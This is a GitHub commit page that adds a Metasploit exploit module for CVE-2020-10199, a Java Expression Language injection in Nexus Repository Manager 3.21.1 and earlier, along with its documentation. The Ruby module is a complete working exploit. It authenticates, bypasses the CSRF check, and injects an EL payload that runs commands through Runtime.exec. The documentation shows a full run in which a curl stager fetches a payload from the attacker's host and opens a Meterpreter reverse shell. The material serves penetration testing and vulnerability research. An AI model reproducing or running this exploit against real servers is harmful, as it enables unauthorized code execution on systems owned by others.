Skip to content

Commit

Permalink
Land #13195, Nexus Repository Manager EL Injection RCE
Browse files Browse the repository at this point in the history
  • Loading branch information
gwillcox-r7 committed Apr 16, 2020
2 parents 3f1601c + 8203069 commit 5229d2a
Show file tree
Hide file tree
Showing 2 changed files with 325 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,134 @@
## Vulnerable Application

### Description

This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user. Tested against 3.21.1-01.

### Setup

Install Docker using the [official instructions](https://docs.docker.com/get-docker/).
Follow the instructions for your platform and distribution (if using
Linux). If you're using OS X, you may prefer to `brew cask install docker`
after installing [Homebrew](https://brew.sh/).

Run `docker run -d -p 8081:8081 --name nexus sonatype/nexus3:3.21.1`
(note the added `3.21.1` tag) as per Sonatype's [Docker Hub instructions](https://hub.docker.com/r/sonatype/nexus3/#running).

Once Nexus has started, run `docker exec nexus cat /nexus-data/admin.password`
to get the admin password. Next, open a browser and go to <http://localhost:8081/>.
Sign in as the `admin` user with the password you just retrieved.

Follow the prompts. Change the password to something you can remember,
since you'll be using it to test the module. You can click through the
anonymous access question, since it's not relevant to the exploit.

If you have trouble getting the password change to stick, browse to
<http://localhost:8081/#user/account> and change it again.

### Targets

```
Id Name
-- ----
0 Nexus Repository Manager <= 3.21.1
```

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

### USERNAME

Set this to a valid Nexus username.

### PASSWORD

Set this to a valid Nexus password.

## Scenarios

### Nexus Repository Manager 3.21.1-01 from [Docker Hub](https://hub.docker.com/r/sonatype/nexus3)

```
msf5 > use exploit/linux/http/nexus_repo_manager_el_injection
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > options
Module options (exploit/linux/http/nexus_repo_manager_el_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Nexus password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Nexus username
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nexus Repository Manager <= 3.21.1
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3
lhost => 192.168.1.3
msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run
[*] Started reverse TCP handler on 192.168.1.3:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Nexus 3.21.1-01 is a vulnerable version.
[*] Executing command stager for linux/x64/meterpreter_reverse_tcp
[*] Logging in with admin:admin
[+] Logged in with NXSESSIONID=8b6fd077-1830-4e2b-90e8-2997d260b5c0;
[*] Using URL: http://0.0.0.0:8080/t6NXrxF
[*] Local IP: http://192.168.1.3:8080/t6NXrxF
[*] Generated command stager: ["curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF", "chmod +x /tmp/hgzeytII", "/tmp/hgzeytII", "rm -f /tmp/hgzeytII"]
[*] Executing command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF
[+] Successfully executed command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF
[*] Client 192.168.1.3 (curl/7.61.1) requested /t6NXrxF
[*] Sending payload to 192.168.1.3 (curl/7.61.1)
[*] Command Stager progress - 50.00% done (54/108 bytes)
[*] Executing command: chmod +x /tmp/hgzeytII
[+] Successfully executed command: chmod +x /tmp/hgzeytII
[*] Command Stager progress - 70.37% done (76/108 bytes)
[*] Executing command: /tmp/hgzeytII
[+] Successfully executed command: /tmp/hgzeytII
[*] Command Stager progress - 82.41% done (89/108 bytes)
[*] Executing command: rm -f /tmp/hgzeytII
[+] Successfully executed command: rm -f /tmp/hgzeytII
[*] Command Stager progress - 100.00% done (108/108 bytes)
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3:53094) at 2020-04-07 19:25:38 -0500
[*] Server stopped.
meterpreter > getuid
Server username: no-user @ 282665c16215 (uid=200, gid=200, euid=200, egid=200)
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Red Hat Enterprise Linux 8 (Linux 4.19.76-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
191 changes: 191 additions & 0 deletions modules/exploits/linux/http/nexus_repo_manager_el_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,191 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Nexus Repository Manager Java EL Injection RCE',
'Description' => %q{
This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user. Tested against 3.21.1-01.
},
'Author' => [
'Alvaro Muñoz', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10199'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
],
'DisclosureDate' => '2020-03-31', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
'CmdStagerFlavor' => %i[curl wget],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
OptString.new('PASSWORD', [true, 'Nexus password', 'admin'])
])
end

def post_auth?
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
true
end

# Send a GET / request to the server, check the response for a Server header
# containing the Nexus version, and then check if it's a vulnerable version
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
return CheckCode::Unknown('Target did not respond to check request.')
end

unless res.headers['Server']
return CheckCode::Unknown('Target did not respond with Server header.')
end

# Example Server header:
# Server: Nexus/3.21.1-01 (OSS)
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

unless version
return CheckCode::Unknown('Target did not respond with Nexus version.')
end

if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
end

CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

print_status("Executing command stager for #{datastore['PAYLOAD']}")

# This will drop a binary payload to disk and execute it!
execute_cmdstager(
noconcat: true,
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
)
end

def login(username, password)
print_status("Logging in with #{username}:#{password}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rapture/session'),
'vars_post' => {
'username' => Rex::Text.encode_base64(username),
'password' => Rex::Text.encode_base64(password)
},
'partial' => true # XXX: Return partial response despite timeout
}, 3.5)

unless res
fail_with(Failure::Unknown, 'Target did not respond to login request')
end

cookie = res.get_cookies

unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
fail_with(Failure::NoAccess, 'Could not log in with specified creds')
end

print_good("Logged in with #{cookie}")
cookie
end

# This is defined so that CmdStager can use it!
def execute_command(cmd, opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rest/beta/repositories/go/group'),
# HACK: Bypass CSRF token with random User-Agent header
'agent' => rand_text_english(8..42),
'cookie' => opts[:cookie],
'ctype' => 'application/json',
'data' => json_payload(cmd)
)

unless res
fail_with(Failure::Unknown, 'Target did not respond to payload request')
end

unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end

print_good("Successfully executed command: #{cmd}")
end

# PoC based off API docs for /service/rest/beta/repositories/go/group:
# http://localhost:8081/#admin/system/api
def json_payload(cmd)
{
'name' => 'internal',
'online' => true,
'storage' => {
'blobStoreName' => 'default',
'strictContentTypeValidation' => true
},
'group' => {
# XXX: memberNames has to be an array, but the API example was a string
'memberNames' => [el_payload(cmd)]
}
}.to_json
end

# Helpful resource from which I borrowed the EL payload:
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
def el_payload(cmd)
# HACK: Format our EL expression nicely and then strip introduced whitespace
el = <<~EOF.gsub(/\s+/, '')
${
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
"".getClass().forName("java.lang.Runtime")
).exec("PATCH_ME")
}
EOF

# Patch in our command, escaping any double quotes
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
end

end

0 comments on commit 5229d2a

Please sign in to comment.